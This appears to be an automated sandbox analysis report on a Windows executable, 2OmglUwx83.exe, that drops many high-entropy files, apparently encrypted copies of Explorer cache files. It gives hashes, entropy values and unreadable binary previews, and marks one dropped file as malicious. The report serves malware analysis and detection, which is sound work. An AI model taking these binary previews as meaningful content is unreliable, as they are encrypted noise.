........}UU.)....N.Whd~...l.p...4.......6.v.#.7.z.....LV..}...Zp~.......-a..Z9....n...~.f..n.......R.....].=....G6...Mg.B]..j.N..!.X......yP..<.P.?..P[X

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 16718

Entropy (8bit): 7.990454846505584

Encrypted: true

SSDEEP: 384:esFbvjdUEsKWDoqKzn87rK7efJbETsv0fMpJxn6O/sIloemhrWWwkX:e8DhUEvWDoqCJ7S2X2JxAemhrWTkX

MD5: 00E227572902958F1579E3F4C38B78F2

SHA1: A03FD9B465E0756FB06319470DFF8216D4C2F188

SHA-256: EEA7CEBE0563AE3ACA02121252FE158B8305218CB1C18BB4DA1340D0FA9CEE4B

SHA-512: 082C58B0167F60283BD177CB51CD638F2315EA37B340F94F8AEE40812345EDEC7A6A8A21768BB425A6876A9ED75C458291D7E1470FD035787C38CF3950237894

Malicious: true

Preview: . ........F.Z....;"..D....0W.>Q..L.\....D.!....3F..T..\.U...o.-./.|.=..........l}8.1...)VW./.....E..9.Rh0..a..<.j.....G..W#.h....v.B.A.s.m..<.^._.-8...P0.,q<x..@m].8.<>.F..5.LP.Q.+........l:
].'.x..z..........`.\0..? r....*..b@%.N.m..{...6..n.&.e^.~Q.....U. l..+...S...K..v.l.....@..~.."..d..+.w6..9..a.Z..hw..M..hg.h..d.2.RDV7...O.!RNV.Z@<..r..@.c.9..;C..Q..t.uR0.3.QqfF
k.I.....|....;.....j..Lg..Y.4>$.&.....S...>.vUC...R.-.-.DZ.y...-..J..*.O.._u.....<..)4.....2.b..K..e....h...!.Y...).S.8B...F .V..m.$....L..|v..ML_.......... .R(...4!b$....J`j...G;.[6.>._-TU)N.....>k..
b).w...8.Lu..........!.....at....y..A..U`_N.....h..Q..G.N#.%0}`.5.......^.5......pv...Y6...-q.A]...i.-.TVM.p..P~...c.v............fyJ2.@.I.r.....[W....^.rN[.a...J.d..........a.yo@..H7.v".SI1
7.;.&K.P.o..O<.....%R..A...Y..........y..2] ...c..........qm......Q._.RP@.}.....7.$d..pF....l..v?!..-.?.Mb.v.Q.DD.3m...K2..,...p..K.}..s..D....".{.gB..D..O.Y.{.....8?W\.s.T........)7yd....]3
.Va.

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 358

Entropy (8bit): 7.3090340052511955

Encrypted: false

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog.etl

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db
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SSDEEP: 6:SRRy3jQvcqNtqRHYuBJr8KLmLkuY8PuaobaVXrjeji8hErJuTEXW0Ncii96Z:YR6jUqR4uBllLF8aGZW+zOEXNcii9a

MD5: CD5AE9D6B00C086C1CAE436F544F0E1F

SHA1: 079F03C1D51FF3CAD388D11FE9324D6EA6C76F41

SHA-256: DFB52F78010DAD1604D520B38261BB2ABC69ED71ACBB8AB8A822D81E69FF377F

SHA-512: 15076906AB7C18EF35FFFAB9933C6099CF9237A1EC7FA375CCFBE6283E86D144AC392797980994FA048705AA39B470B50AF4E2476DC91891AC74052708025F27

Malicious: false

Preview: CMMM ..\..<.ya..W.m...Q......{...A.......J.......I..mtR.......[...b..T...:h.._$4c. ....^..=.$...*..^G.9.W..G.|..r:a...n......D!...?.Tp..@.F.e....*xK...m.Nb.T..Z..M7M....A.P......`........l.....R..,.l.
!?..r.R..H.'..l.g..)5k_.I.T.}.Ta........9M[.....#S.. .2..b..yMzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 358

Entropy (8bit): 7.283839731484007

Encrypted: false

SSDEEP: 6:ri/Ka/JPFDggZcdBXpKzfQ98EedKddqQlhl+FgQQJuTEXW0Ncii96Z:r8VJZl0B5mfQuEeoR7Q6OEXNcii9a

MD5: 9D5C590F23DDB3B97546B3F69A586463

SHA1: 61D863E045F7B42AD1F4A2187E197E2A6F8A9E7A

SHA-256: 1D2E80D4533D1B7629421B89E837EE6AE555B41D5C74FABE0CC2FE11BBECCD74

SHA-512: 6A16137BADEEBCFD2B93B128B0D8AF19F962113C95228E24F365DAADFC0BCB17BA95ECA628FFEC298A0AE4483220E87CD2EB5F73843A9C5AF669802FB28C5
5D3

Malicious: false

Preview: CMMM L.Pr.X.An}&....)6.#.hE..[.T)...Kh...am<`...a...!O...o..~..I......Mx$.D.........P.f....B..m.pU.)S....r.gB..wE...+c1w..._.V....5+.7.L.k..E.$.0..b.hf...>.. k..x.R..2Y..[..`Y..F.0v..!2...
<F....D.._....d.:...9.ZT.?..)....P..u?...4..., .2..C..'..qCu.b.-....u..!"..eP_S^.MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B1
4B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 358

Entropy (8bit): 7.249924341958654

Encrypted: false

SSDEEP: 6:iz7sUgV05zS4cezOse5pTB/znDECg4WuApUp2MbJuTEXW0Ncii96Z:iXLS4zle5lNDECkgp/lOEXNcii9a

MD5: 4786E690A0CB5E5E0E58E133BF38EE66

SHA1: DD9710D69ED6335B9B0047D0E4337946087BB1FF

SHA-256: 9186309891F57003BDF4C7EB430BDF512969F24017C3867ECD5F868A7592F0C5

SHA-512: 5A9EA96329CD713EDAF1E4ED913E30A99124DAE0E21B3D3CB6691EB44E8F01C34CFC81A06F6194382C3B0CA8680712505BEAD15444A0A60B08EA993B33CE89
C5

Malicious: false

Preview: CMMM .8&\.4.yY;/.....8.._.w.g.......^H........w-...s\.b...T2/7->....GQ{..5=..l~..f.^.9..z....Y....!b.`4.p....L(a`.....}.5.(9.........4.K3wf.p~.7>..#../+J8.[..dO..!H.p.:..eM.....3`....M{...;j
C...Y\...t.AU.b.........j.h.../.......TW..F............c^..y..8. ...a*'...MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 358

Entropy (8bit): 7.188147685589138

Encrypted: false

SSDEEP: 6:GhYuwPRSZgcHKErhZOEkFmiHipHZZbYtiZ1MFadmMO5bJuTEXW0Ncii96Z:GZNZtqECFjHipH7GiZ12ZMwlOEXNciik

MD5: 3053C84B0D782DA21BFEA8B4AD06BC07

SHA1: 9B4186E6CCAB1F72C3EB952700321DB6C5A71EC2

SHA-256: 6839AD7F39C2CFD00C599BC33AF55FEC699E0C24474607627A9FC327EC2E1BCF

SHA-512: 30719CC30D8E9B67567E14E6B779CA7F5AC5E7E2FCB7A10C95E7CA26D1C5E10166400E2F6C72688C0CC805E22630E7D904CC4A56F5DA720CE392129C4C416CD
9

Malicious: false

Preview: CMMM ?on.p..!.R.q.\...N.ZV.....m2.&, #;s.V.|....0....C..|..V..$d-...N.D?.3.......^..jg..x..g.w*...."....3..u."T.*..n.s..>.$W.i.....0uE....F.7.&y2......<b....U.Go]g#.U...Y..*..eii]..(ay...7..
......F.+.0t..-..Y..|s&.......B..x..ngE(y.3..WR(i....P.b...6..m2.Is...P.=D...."(..}MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0E
C5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db
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Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 358

Entropy (8bit): 7.2957598612861

Encrypted: false

SSDEEP: 6:wZnFoq06lmLS2lRyRICxcaPjNapteWyjZ10+okruq8P8RzmvVRJuTEXW0Ncii96Z:snFB0jm2lRyRdjNa2WyVKOuq8URzmN7X

MD5: EB6E95FFB197F764D74720E5A4141B18

SHA1: 6F066FE43846222610AFAAAD704F38AF20C67952

SHA-256: 35C4C04478A1CAA50B770DB19DE5277575BAA900BA0CA4D18966E838F3AE916B

SHA-512: 4FA3973E20500A0539D894516A3CED33948ED34042015C62CE1EF2D3D1BE614FC2E85B992D5FEEEC19BDDF5167C98D013E0C83F61E4E8635C3FCBDEF262FA8
2D

Malicious: false

Preview: CMMM ..3.1...`.....t..L...S.._..V5...8...0....X^r.`..K.<..;2nw.j.d...5?.3.w..mh.[K..."......-....#3`...[..Z... )...._..>.>..s^R...l..Xxt.`.A.F:F...}..].o.oqT............z.g.......[.y .)...7"g...(.o...
......6...8....Q.J..Y..3.b..yq.....Xvd.AcW.Yj#N.`.%o~...a^...k).MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 358

Entropy (8bit): 7.249104780234393

Encrypted: false

SSDEEP: 6:9zrussU0t3n7ZZEdf9Y2AKTL5xHX/2rfBSyuBRxf0f448hHXQR0a2GTP1AkfuJu6:NrussUUZ69e2AqrP2LncRxf0gnXk2tnX

MD5: C511DFF38BCCAC6EEB169F2EC901A8A5

SHA1: 5C9F84E50E0B5B58C4360D5A92D990EBC6F04FE8

SHA-256: 0F9D0BC5E77B95FCD483635DD6DF5BF9F67ACDB59460BC988E44ABBEA617D4BA

SHA-512: ED095C3B9745E7B3FD2D026FFEE1E6E0553A2689AF41166A74423FE1F483177995002AD19CEA7FCFDF67E21409EBD771BE11169CF820E74115187268CC0848BA

Malicious: false

Preview: CMMM ![....qm.v....z.K.R7...9.U@.F........v.`.`........3.UoE.1<...li@...{*O.*..,[7...z.?v........v.Q................m...... ...z.W.@....JR.w.Gm...o....n:....t..Q:.W&u...(..#z5.Y(...ct.b..F..
.....J....)W.a.2......$....doj8?..Lz..X......EL.P.s..m(L9.[^...lX..z...>RMzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 358

Entropy (8bit): 7.237337086576876

Encrypted: false

SSDEEP: 6:YNf+dzbvHTI6ViALDsZqYD/gCMKjzftcPlnuf8wMrge5DEJuTEXW0Ncii96Z:Ycd3fTLc2KgCR3f4luUwbeMOEXNcii9a

MD5: 63E4392B0602B56755CFB49332055DB1

SHA1: 313CB3280F6FDB2FFF619DC81BD793F742F2C50C

SHA-256: 400A16D20CA82178181FAA3C6EAE595522AD3C9B25BF7610024A3B89005B7EDC

SHA-512: 9CF73401C6F0210E2837C480687943793F5E7D48B5B2A9F104D0689580572126911BF0872481CD48E4C1030FECAA515BFD88DA358DAA5481B94EC8E58B95E46F

Malicious: false

Preview: CMMM ....^.X..q..t...e..s.x...{>].q....!.^:..V./E......r.BFW=..Z...d...`...P=...NWe2C.....N.c.>...h.".\...01DB..._Nn6m..r.\..&...|.}._{7C|_.tB....e.+".Ow.I...M.9$..e4.z.....>N.JjD.
z.4e.....ei..P...nb....w..s..{....'..Z4.<.!%./c...fOq...s.Zxv`=...0.L.....W7.1...Y.D....QMzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-
0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 358

Entropy (8bit): 7.310565420016048

Encrypted: false

SSDEEP: 6:w9G2n8EUuYI0O/kRh6AlFOwPmOhcRl1C+IJuv7Bwg4RJuTEXW0Ncii96Z:nGUS00kySOBl19IJuDCg47OEXNcii9a

MD5: 2344994BCEE391D16CCE5BC62F299DCA

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db
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SHA1: 557CA795CD6FCF125A8E5BF5D7599374C42F0E59

SHA-256: 0C10D4AF5F5E49469716119FFA503E39616DC5D04908A8A3DCEA5C2C10A675C9

SHA-512: AA63DE578F1251E90BD167FC78F15F468D3A20F7C87D29A38C25B48FD3CF6B6F2CD8519564FB6AA0D683EA50542A7C599A892D9663FC47F6457BDDB081AAC3E
2

Malicious: false

Preview: CMMM .$.....(.......0........{~.9g...:\.c....l..D..@.. .......>Q.MB#..V..5Y.!....A...!.M...`.tZ...Vj.t..R2!B.C.U..O......v..P.}_..S.E.Js#..P1%....*s..5...t..s..Bc~..........Sgk.?........[..........+.2
.......8.T&o...f..ycM.82.J.....g...tm.6.:.L/;)..>..d.L.S.az.H2.\...m..dKMzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 358

Entropy (8bit): 7.267955881321319

Encrypted: false

SSDEEP: 6:o9YLnE2ZO97k8H6O9Op+eeQwQ4cs4CCTpNICe9Eep2QubqRJuTEXW0Ncii96Z:RLnE7LWphlTX1mp93ibq7OEXNcii9a

MD5: 2B7AD871C9582135ABF219CA528D319B

SHA1: B307A09CA90377C9D98B3A6958CD33044F1C9BAB

SHA-256: 315B05A354F3F9405DED08959AEF5268E799ECE2B00F8C26E5A7FFAD210E5031

SHA-512: E3272AD6AC98A43A09DF4B090856C5F4C1F4697691097BCB172F914AE22E446109DE9E677C3A6BCA7C55D83180AC7FC042A68ACF3D236B8F361A1B49A6AF6A9
8

Malicious: false

Preview: CMMM ..A.....`Tj6=..6....F.s...o...V.+..x~p*(.-\.!6d.+=...y...>..-.......').V.+h.W......g.{xC.pk..e.r.....?.C.K....o....g>l|.5.7..3.5....."....C....EAR.Y.C.B...an..f.......)j...l._.7!V.8.v.9
..;...V...pP.b\.........7.......x`....-S4P.Ej..2.n...(....v.$-c.8#.[(.&...7..T...MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 358

Entropy (8bit): 7.319403418399815

Encrypted: false

SSDEEP: 6:qm1dlFNWtEVGKbV0zguZx/gH8+ab4CqEOFTi29EKsHNSJhhfHQmwYJuTEXW0NciD:qmVWGVGKVK7gHNx/9wHAwyOEXNcii9a

MD5: 8C5C7D71E0512537E97421915C0B4BB3

SHA1: C75749FA597A5FA646B4EBFD49E0BC322509C259

SHA-256: EFB510BD1FC7BE6712F90E96C395BE9C66E67E5179689FB5610FA4D531C73B21

SHA-512: CC1489F68678DE302C326885B1B8D11526AA4079CCB286FF57FF2CE5BF4646F33DA0E02AC7BC5844D9E0BA2CE714F647F1BF8C39A2450C0751B3EDC4B60882A
B

Malicious: false

Preview: CMMM .*.=........q.....$*w.m........H..oD...Yd.......$7..=0m....'$.....H.OI.$w.....b.4...).M.|.....&.Go..=fMH7..*.Bv .U..Za..n.....e...J&]SX..U....l%..g~.k1.{....."Ly.JsB$GpH.../...l.i......
.w%g.Z....>...VL6.o1....N....5..9#l..bc..'.^d1..x.^..D...*.".c....F....MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 358

Entropy (8bit): 7.269512260543439

Encrypted: false

SSDEEP: 6:u0MOayqzCZCn99uHvPk1r6z8dfHx33tcHpKrH3UFXVEFhXjMhmAwM+kcRoBEJuT+:pMObCn9sc1r6zMR3dApYH3UFXOFJMkOa

MD5: ED562236FDF57E98A617BAB09BD48FB4

SHA1: 856BEBEE37887DE4CB8080AA5EB627388BC056C7

SHA-256: F9366A775505F44FB3B933EF6573C55222A0D7B050086EE900A8CD213E4B1093

SHA-512: CBF0DA6E3721ABC4BB9EF3468BCC72ACB36DBFFEE528AF09FAAE7C354774551A8411E7D391829F8CEB7FDB277B95B5754CC7F993C0DD81D0D15352F8C7550
559

Malicious: false

Preview: CMMM Gn.f....<K.4M..)J...."...AQ!..D..V..3....=`.n.:..AJ.?.8U._][..10..KK......"....;.j.p.T.c2.RB.431......N.....p..0z.2...L;W<A8.*"0)m...H........q.2.2.:.3N.]...p.E...?b..../N..e.
>..M....&.....q./.se(./.nL..]t~v.....g....<.%H......z1....f.....L.}I.Y..D.D.mG..u..'.tMzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4
DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide_alternate.db

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1280.db

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db
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Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 1048910

Entropy (8bit): 1.768621437387365

Encrypted: false

SSDEEP: 3072:/APxtrkxTdvKEJM4QAGNPlE5f58/PSl1xubVBdhyqlAqA4FFyZjv:g0xsKMHNPle5CPSnxubjyxDZjv

MD5: 2E0C3B0073D42E5E497DD94AA6EE5DC8

SHA1: 7604677C791CD65BCC4FBFF93CEDCE64710D645D

SHA-256: 88D502E1CD2F4C07D9F3DABAEEF5A88E73A7A6E6F751ACD878B4F02A928F0CD6

SHA-512: 896ECF32567B0A2419711617AD076153E65B573566EAB41B26C02F039F419DF2EA01E4E2F219C16FBE913168B3C94883FBB46D7E6E123E779155C2160791DC72

Malicious: false

Preview: CMMM #S..d.kQ...L.4.V..5uuT~...`.I=.zB.......`.g(...>[..?...izyx.R.....f.$...d.fv.wjcc .LE....+.o..V....8a......}g....b.<;J..g#...[.....NsZ..Vt.N.C..@F7...........d2A.........c......*.?.|VF.
.....$.<./#v..B....F|...v...U..d.g.~.....d..:#}....vs...u.Z~H.}Rgn....z`@g......!..gL...alr.].t...W.....u}.c.5.AzN)..U.T./5Fs.......hos.).).e..B.$.8.......+..1.+uc!...bLy.P.4~I.1J.....Y7..+.
..)_:.4.,..... ..EF............&._.[.3.=.Q.J...........F.7Q...57yhv..g...1..vZ...L.%..'..k...P..Hbc..V+m..a.b...6B..N8....@.r?.SQa..C..Zn.{v-(.#......P....p..CeF..U.sr.Ctc.f..i.:..sB...|eiR.
rA...%....a../.vJ.DF...6*^Ow...a..wy....9....S..7Hu.G..C..%..m-.p...qK....Q"+..*..\ZVu,3Tty.F2.N.,.2../.?..t.$...GbF..Q*.C2......W.....>.B..g.kVs.n3..m:M7....KbN.W.&.....
...US~..@..W....E\m.........M.e......`9..;.eC..}...Eq....?.bYA0.?.W._1...(.......y'..._....?...}y..k ..Jd.[.c.)..L.Z...*N.....N.xivL...I...=6\...E..Y.P..0....#.t.<4......p6..,>..x@..-t.0CT.F
.C.R&..}0.....^.^B...

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 358

Entropy (8bit): 7.324359947759638

Encrypted: false

SSDEEP: 6:cqPfqAdHPqYN7vqwwZ8CFxfxEj1JzInu6W1Pnr2ikmQXl5JapJuTEXW0Ncii96Z:lqAkAiwwZjFI1xI1W1qDmOJajOEXNciD

MD5: 8DDD10FB250852545F13DBDF8A67DCA5

SHA1: 0E469F0498EEF9E0A9937C4C8DCACCEF3FE3BACC

SHA-256: 2E3087A4B1B550CDFC2F2C210B3D2D76D70676AF512ACAFFD1D7481658C740AA

SHA-512: 3FE67B8C7A8FDF2C02AAEFC54A635441D2D07464614FA33258A58FCE32E4C07008AB1C6A08104AA36E93555AA6AF17A62888A1DB0B5C53EC1663F0F4BAD1E7
0C

Malicious: false

Preview: CMMM .....+?*V7N..5.K[1bz...em..V...y.g1..R..A..ev..j...\.V...c..Z*.g..?S.z.......2.$.......<:.@.Xg.v:3.).H..6.Y.5V..K........c.].Uk*y{..vs.y.=..a..q..w...AU.S.F..'.....L.i.?J..>Z.
.....p.4=...d..;..uW~....<......j.;."o...{....a...s.A...o......=.p5.....Z,;J.o...:5.?MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 358

Entropy (8bit): 7.303960593265767

Encrypted: false

SSDEEP: 6:QRfleAeW0895I5+Dw5aUg0XiU/QcekW39MfyukWGv08veEJuTEXW0Ncii96Z:afsA79u5wwEUg0XiUjM39M6urmveGOEl

MD5: F62053022D8A0B6E313BFF4653AC3CF4

SHA1: 680921723113C765E5370008ADB16B3E81A0A9B5

SHA-256: 95B7F633F900DA47C882CC3AD8E9598DAAEBB463AC0670678E64B3E08ABE4B03

SHA-512: 8EC6E5598A349A722D89362BE5CA3F8C11398012719D188E43666F86CE4CB96E3C65CD66C6E9AC6DC956EF6FCDAEFBB7B5EDD31E2A56331766B217742920336
B

Malicious: false

Preview: CMMM ..9..ws...k..4o4...j.\.?i]..:PL.T....i`1....C......3.[..lm.y..cnX:[..Z..%.).._.sL2....C.).. ....l..e.Sbs.9..&..j......:g.Z...'Myu..%...F..}3....e.<..}x..>{...)..C.wZ.Q..Q.5.....s H...2e
....,.|W......{.h.G......4..l..........[.P.Gv...I.....Nq./}.2.b.....B.........NMzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 358

Entropy (8bit): 7.228297490984323

Encrypted: false

SSDEEP: 6:ohBVmQnPguWDfGwiqLLX0//ppTmYHZn41VLEJuTEXW0Ncii96Z:WI7GOLE//u7VLGOEXNcii9a

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1920.db

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_2560.db

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_768.db
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MD5: DFBED0B63235BD7CE7927530DF1DA5E6

SHA1: 742A614A58489575ACA04414E681F9FDED36F4C2

SHA-256: 2A7F7FF1509646C1F93CB408E81E002D91FB8F22BDB96EB009FBCC8FF9745CE5

SHA-512: 000871DBAD5CD9BC82452F569C36C8DD638D3393203D7271D7FBBB4400325B898344E01753CBDD7DB6BA9AA6FC75F1A9989D7A820AF9886FC84C2D41FA1DA20
8

Malicious: false

Preview: CMMM ...*..yj]O..\&..d.x..1.3.......>.4.M.(.K....W........5.....~Q.=.Z.>..u... ..].y..X,..b,}..Y..Y....G..[h.5jb.G...]?Y..-...4.._YI\....{.u......%W.~..{..i.;..>.i..(Rmy.."U...x...9.d.X.$H..
I.......Xn5...m?04.F/N....{Rg.I4.p..>...1...E......@.u.-....J................MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 358

Entropy (8bit): 7.231666240929934

Encrypted: false

SSDEEP: 6:OaRTdYbr3Ac76KVGgJlRyFAh0w0/ZURafjMOb3FX9L0EJuTEXW0Ncii96Z:79ybjAKVzEuw/iRafjMOb1X9nOEXNciD

MD5: 52024FF7C95128EE898C789E31C291E4

SHA1: 8DC69F57618DA7C0FAB1652C93970FEB3D620E0B

SHA-256: 5259AD2ECD032233579B4CB50218E339DBB6A2BEBC97B13AC4D3D05A100C0148

SHA-512: 62FE16FD5B2E24B2CA1F76808414DB1066868A8C9BB75F3D35DBA3BEBC9851A76FF0F080246696102AC13067EB4F302407D6E84D6BCE467EAD5B43238B4EFEB
D

Malicious: false

Preview: CMMM m.T|~.N.&bEn..B.......){.).=......%.o.sl..`Bw+.C...S.....G&.(...........n...../y..c4...g4......aT..d.$Cc.}.5(...h...)......n......]....dxR.b....)0.l.>.P....TN.Wu... ~k.y....5)y.......9.P.m... 
v.Xy...l..........LE.3...E...p;l...+....Wb9....m.....-\.dV....e....MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 358

Entropy (8bit): 7.349509494065925

Encrypted: false

SSDEEP: 6:mxcU85wz7xZq0H/1vp08A+Zm5iijDBV+FRuDbVvZqVC09w2KxvjuJuTEXW0Nciik:mxcD5wXxd9va8Nm8i/H+vOvZqVR9eAO+

MD5: 4E5916EE564B10C0F5F07190D89EABA1

SHA1: 1CF15A13B9814AF0F37CBF80E458BFA6E14A2555

SHA-256: DAE2A5F5677877DB621F9502803B296C47688697C7A078DB5105A14BBFE95AE4

SHA-512: 3942BEDA0E36DABF75D968DAC21F54FC0FFCAEF65632BC22581688D767889C9265E632F8E1ACBDE8F62B6DB9F7EE735BBAA622BC81BF15013E4CF7E9FB42F
42A

Malicious: false

Preview: CMMM G..x.~.0..E7*a.6U..Wq.... .z.-*..i...........L.....m.._.3..9<Xv....ks ...T.Tc.j.Z......0~.........^....$....%y.G..n...............M...%.&#Z...$VXw..]....}X..I.].o=.L[.P"....*k.y7.w...O.
......8.....s..>..LrT..>......zN...J.|.k....$......t].....BTC.(S..C...(.j.._.2MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 358

Entropy (8bit): 7.251527450773197

Encrypted: false

SSDEEP: 6:s9qFuwrW347J8umzmYaCuDzCnKHGvYsfJqvplWp/mYcMOpJuTEXW0Ncii96Z:+qcwrWI7JHnDWUeJauUYcMOjOEXNciik

MD5: 4DAF2ED6C816553AAB85B87A29650BC9

SHA1: 64CCE14C9220D39D76FBAA228D76259FD2722E18

SHA-256: 2EB6A84600FBC31986206B3377137C1FB51768B06D87F5749F7A7C9722499F6E

SHA-512: D5BF49A77DD7AE55F7751B2C8557D41C0FED5909833331E16C7DE17BBCD9F997212337D9A77A1150B49EF6493B3BF66CFE5CD6AA62F74B7FBD77C2AF4530677
4

Malicious: false

Preview: CMMM ....H.0...w6.A.h.cP..p.Tq&....m2.KJ.E.....NF...-o..|.f..(^.....T..Y....DO[..,T3.L...aw.......o..lGv.G..>..PJ..k.S..Zb.f..Go.qKdx......X...8....K.p.!.B-.v....Ha...iSvR.t.L4DX.5
qDX.vg'.,.r..[.w...+&......M?.....~.o.6....i%...<...u..i`.Iq...z.+..z....S.!.S..9]......KH...MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0E
C5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_custom_stream.db

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_exif.db
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Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 358

Entropy (8bit): 7.233948573627631

Encrypted: false

SSDEEP: 6:mb7o1E0CokbxNDjufgs+uEuxquGjKoSP71T5J2AgwbSzs9e7JuTEXW0Ncii96Z:mIE0C5bxJufg3Cq7jKoQ71T54AgwbSz9

MD5: 2D6995219DE5BAE84ED909F1B647B156

SHA1: 18605F9B66117DDCF9CBCA75CC573D81499D052B

SHA-256: 4B0D80CE7A19F5382296285EB4F9371FC05FF194428A504FDA564CF3F1FFD537

SHA-512: 310C9B7263229414731930DF571B9D9FE05A792F1C4C9B98D54F734C8EDFD1EB3C590C0874968393D7FBF4082122C2DBB2B9133DEDA8D0D40A31FB1C79ABED2
8

Malicious: false

Preview: CMMM Ai!<..$....p.L.8S7....B....M.[N.......Q%kQ..=....hD!..%..(..]|..9U:.}.8.d...U...4\.d..K..w8.^.&N...=..../-VqB#..8.go.....J ..C.|...R.u...~....l.o.9wj.#8....,G.d.....'M.:...7E.
.^A3\..ScdZ..V....E......2.@yA.H...l..z"4'].z[...cb...02.jM.;..W..^RI......v..i.a..>dMzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-
0EC5B14B4DF5}

File type: PE32 executable (GUI) Intel 80386, for MS Windows

Entropy (8bit): 7.573631805227142

TrID: Win32 Executable (generic) a (10002005/4) 99.83%
Windows Screen Saver (13104/52) 0.13%
Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%

File name: 2OmglUwx83.exe

File size: 878080

MD5: 24b6effdd763befb6ff4a657e15c77bc

SHA1: dd09691ceccd54d7e68a9c6553a6b94452dc7c85

SHA256: d0202dee37da4da0375e0034e802e0351cf3185cc8cd6ad041ffca4c89d97797

